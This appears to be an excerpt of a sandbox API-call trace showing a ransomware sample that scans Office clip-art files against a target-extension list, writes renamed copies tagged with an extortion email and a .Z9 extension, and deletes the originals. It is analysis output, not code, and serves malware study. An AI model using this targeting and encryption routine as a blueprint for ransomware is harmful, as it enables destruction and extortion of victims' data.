	[0085.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68
	[0085.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68
	[0085.943] lstrlenW (lpString=".doc") returned 4
	[0085.943] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0085.943] lstrlenW (lpString=".docx") returned 5
	[0085.943] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0085.943] lstrlenW (lpString=".pdf") returned 4
	[0085.943] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0085.943] lstrlenW (lpString=".xls") returned 4
	[0085.943] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0085.943] lstrlenW (lpString=".xlsx") returned 5
	[0085.943] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0085.943] lstrlenW (lpString=".ppt") returned 4
	[0085.943] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0085.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68
	[0085.944] lstrlenW (lpString=".zip") returned 4
	[0085.944] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0085.944] lstrlenW (lpString=".rar") returned 4
	[0085.944] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0085.944] lstrlenW (lpString=".bz2") returned 4
	[0085.944] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0085.944] lstrlenW (lpString=".7z") returned 3
	[0085.944] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0085.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68
	[0085.944] lstrlenW (lpString=".dbf") returned 4
	[0085.944] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0085.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68
	[0085.944] lstrlenW (lpString=".1cd") returned 4
	[0085.944] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0085.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68
	[0085.944] lstrlenW (lpString=".jpg") returned 4
	[0085.944] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0085.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68
	[0085.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68
	[0085.944] lstrlenW (lpString=".doc") returned 4
	[0085.944] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0085.944] lstrlenW (lpString=".docx") returned 5
	[0085.944] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0085.944] lstrlenW (lpString=".pdf") returned 4
	[0085.944] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0085.944] lstrlenW (lpString=".xls") returned 4
	[0085.944] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0085.944] lstrlenW (lpString=".xlsx") returned 5
	[0085.944] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0085.944] lstrlenW (lpString=".ppt") returned 4
	[0085.944] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0085.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68
	[0085.945] lstrlenW (lpString=".zip") returned 4
	[0085.945] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0085.945] lstrlenW (lpString=".rar") returned 4
	[0085.945] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0085.945] lstrlenW (lpString=".bz2") returned 4
	[0085.945] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0085.945] lstrlenW (lpString=".7z") returned 3
	[0085.945] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0085.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68
	[0085.945] lstrlenW (lpString=".dbf") returned 4
	[0085.945] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0085.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68
	[0085.945] lstrlenW (lpString=".1cd") returned 4
	[0085.945] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0085.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68
	[0085.945] lstrlenW (lpString=".jpg") returned 4
	[0085.945] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0085.945] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0085.945] lstrlenW (lpString="BL00526_.WMF") returned 12
	[0085.945] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00526_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0085.946] GetFileSizeEx (in: hFile=0x2bc, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=27552) returned 1
	[0085.946] CloseHandle (hObject=0x2bc) returned 1
	[0085.946] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00526_.wmf")) returned 0x220
	[0085.946] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00526_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0085.946] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00526_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0085.946] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.946] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.946] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00526_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0085.951] GetLastError () returned 0x0
	[0085.951] ReadFile (in: hFile=0x2bc, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x6ba0, lpOverlapped=0x0) returned 1
	[0086.281] WriteFile (in: hFile=0x38c, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0x6bb0, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0x6bb0, lpOverlapped=0x0) returned 1
	[0086.283] ReadFile (in: hFile=0x2bc, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0086.283] WriteFile (in: hFile=0x38c, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1
	[0086.283] SetEndOfFile (hFile=0x38c) returned 1
	[0086.283] CloseHandle (hObject=0x38c) returned 1
	[0086.287] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.287] SetEndOfFile (hFile=0x2bc) returned 1
	[0086.288] CloseHandle (hObject=0x2bc) returned 1
	[0086.288] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0086.288] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00526_.wmf")) returned 1
	[0086.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68
	[0086.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68
	[0086.289] lstrlenW (lpString=".doc") returned 4
	[0086.289] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0086.289] lstrlenW (lpString=".docx") returned 5
	[0086.289] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0086.289] lstrlenW (lpString=".pdf") returned 4
	[0086.289] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0086.289] lstrlenW (lpString=".xls") returned 4
	[0086.289] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0086.289] lstrlenW (lpString=".xlsx") returned 5
	[0086.289] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0086.289] lstrlenW (lpString=".ppt") returned 4
	[0086.289] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0086.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68
	[0086.289] lstrlenW (lpString=".zip") returned 4
	[0086.289] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0086.289] lstrlenW (lpString=".rar") returned 4
	[0086.289] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0086.289] lstrlenW (lpString=".bz2") returned 4
	[0086.289] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0086.289] lstrlenW (lpString=".7z") returned 3
	[0086.289] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0086.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68
	[0086.290] lstrlenW (lpString=".dbf") returned 4
	[0086.290] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0086.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68
	[0086.290] lstrlenW (lpString=".1cd") returned 4
	[0086.290] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0086.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68
	[0086.290] lstrlenW (lpString=".jpg") returned 4
	[0086.290] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0086.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68
	[0086.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68
	[0086.290] lstrlenW (lpString=".doc") returned 4
	[0086.290] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0086.290] lstrlenW (lpString=".docx") returned 5
	[0086.290] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0086.290] lstrlenW (lpString=".pdf") returned 4
	[0086.290] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0086.290] lstrlenW (lpString=".xls") returned 4
	[0086.290] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0086.290] lstrlenW (lpString=".xlsx") returned 5
	[0086.290] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0086.290] lstrlenW (lpString=".ppt") returned 4
	[0086.290] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0086.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68
	[0086.290] lstrlenW (lpString=".zip") returned 4
	[0086.290] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0086.290] lstrlenW (lpString=".rar") returned 4
	[0086.290] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0086.290] lstrlenW (lpString=".bz2") returned 4
	[0086.290] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0086.290] lstrlenW (lpString=".7z") returned 3
	[0086.291] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0086.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68
	[0086.291] lstrlenW (lpString=".dbf") returned 4
	[0086.291] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0086.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68
	[0086.291] lstrlenW (lpString=".1cd") returned 4
	[0086.291] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0086.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68
	[0086.291] lstrlenW (lpString=".jpg") returned 4
	[0086.291] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0086.291] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0086.291] lstrlenW (lpString="BS00092_.WMF") returned 12
	[0086.291] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00092_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0086.291] GetFileSizeEx (in: hFile=0x2bc, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=7974) returned 1
	[0086.291] CloseHandle (hObject=0x2bc) returned 1
	[0086.291] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00092_.wmf")) returned 0x220
	[0086.292] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00092_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0086.292] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00092_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0086.292] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.292] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.292] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00092_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0086.292] GetLastError () returned 0x0
	[0086.292] ReadFile (in: hFile=0x2bc, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x1f26, lpOverlapped=0x0) returned 1
	[0086.921] WriteFile (in: hFile=0x38c, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0x1f30, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0x1f30, lpOverlapped=0x0) returned 1
	[0086.922] ReadFile (in: hFile=0x2bc, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0086.922] WriteFile (in: hFile=0x38c, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1
	[0086.922] SetEndOfFile (hFile=0x38c) returned 1
	[0086.922] CloseHandle (hObject=0x38c) returned 1
	[0086.923] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.924] SetEndOfFile (hFile=0x2bc) returned 1
	[0086.925] CloseHandle (hObject=0x2bc) returned 1
	[0086.925] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0086.925] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00092_.wmf")) returned 1
	[0086.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68
	[0086.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68
	[0086.925] lstrlenW (lpString=".doc") returned 4
	[0086.925] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0086.925] lstrlenW (lpString=".docx") returned 5
	[0086.925] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0086.925] lstrlenW (lpString=".pdf") returned 4
	[0086.925] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0086.925] lstrlenW (lpString=".xls") returned 4
	[0086.926] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0086.926] lstrlenW (lpString=".xlsx") returned 5
	[0086.926] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0086.926] lstrlenW (lpString=".ppt") returned 4
	[0086.926] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0086.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68
	[0086.926] lstrlenW (lpString=".zip") returned 4
	[0086.926] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0086.926] lstrlenW (lpString=".rar") returned 4
	[0086.926] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0086.926] lstrlenW (lpString=".bz2") returned 4
	[0086.926] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0086.926] lstrlenW (lpString=".7z") returned 3
	[0086.926] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0086.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68
	[0086.926] lstrlenW (lpString=".dbf") returned 4
	[0086.926] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0086.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68
	[0086.926] lstrlenW (lpString=".1cd") returned 4
	[0086.926] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0086.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68
	[0086.926] lstrlenW (lpString=".jpg") returned 4
	[0086.926] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0086.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68
	[0086.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68
	[0086.926] lstrlenW (lpString=".doc") returned 4
	[0086.926] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0086.926] lstrlenW (lpString=".docx") returned 5
	[0086.926] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0086.927] lstrlenW (lpString=".pdf") returned 4
	[0086.927] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0086.927] lstrlenW (lpString=".xls") returned 4
	[0086.927] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0086.927] lstrlenW (lpString=".xlsx") returned 5
	[0086.927] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0086.927] lstrlenW (lpString=".ppt") returned 4
	[0086.927] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0086.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68
	[0086.927] lstrlenW (lpString=".zip") returned 4
	[0086.927] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0086.927] lstrlenW (lpString=".rar") returned 4
	[0086.927] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0086.927] lstrlenW (lpString=".bz2") returned 4
	[0086.927] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0086.927] lstrlenW (lpString=".7z") returned 3
	[0086.927] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0086.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68
	[0086.927] lstrlenW (lpString=".dbf") returned 4
	[0086.927] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0086.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68
	[0086.927] lstrlenW (lpString=".1cd") returned 4
	[0086.927] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0086.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68
	[0086.927] lstrlenW (lpString=".jpg") returned 4
	[0086.927] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0086.928] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0086.928] lstrlenW (lpString="BS00136_.WMF") returned 12
	[0086.928] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00136_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0086.928] GetFileSizeEx (in: hFile=0x2bc, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=2166) returned 1
	[0086.928] CloseHandle (hObject=0x2bc) returned 1
	[0086.928] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00136_.wmf")) returned 0x220
	[0086.928] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00136_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0086.928] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00136_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0086.929] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.929] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.929] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00136_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0086.929] GetLastError () returned 0x0
	[0086.929] ReadFile (in: hFile=0x2bc, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x876, lpOverlapped=0x0) returned 1
	[0086.930] WriteFile (in: hFile=0x38c, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0x880, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0x880, lpOverlapped=0x0) returned 1
	[0086.932] ReadFile (in: hFile=0x2bc, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0086.932] WriteFile (in: hFile=0x38c, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1
	[0086.932] SetEndOfFile (hFile=0x38c) returned 1
	[0086.932] CloseHandle (hObject=0x38c) returned 1
	[0086.933] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.933] SetEndOfFile (hFile=0x2bc) returned 1
	[0086.934] CloseHandle (hObject=0x2bc) returned 1
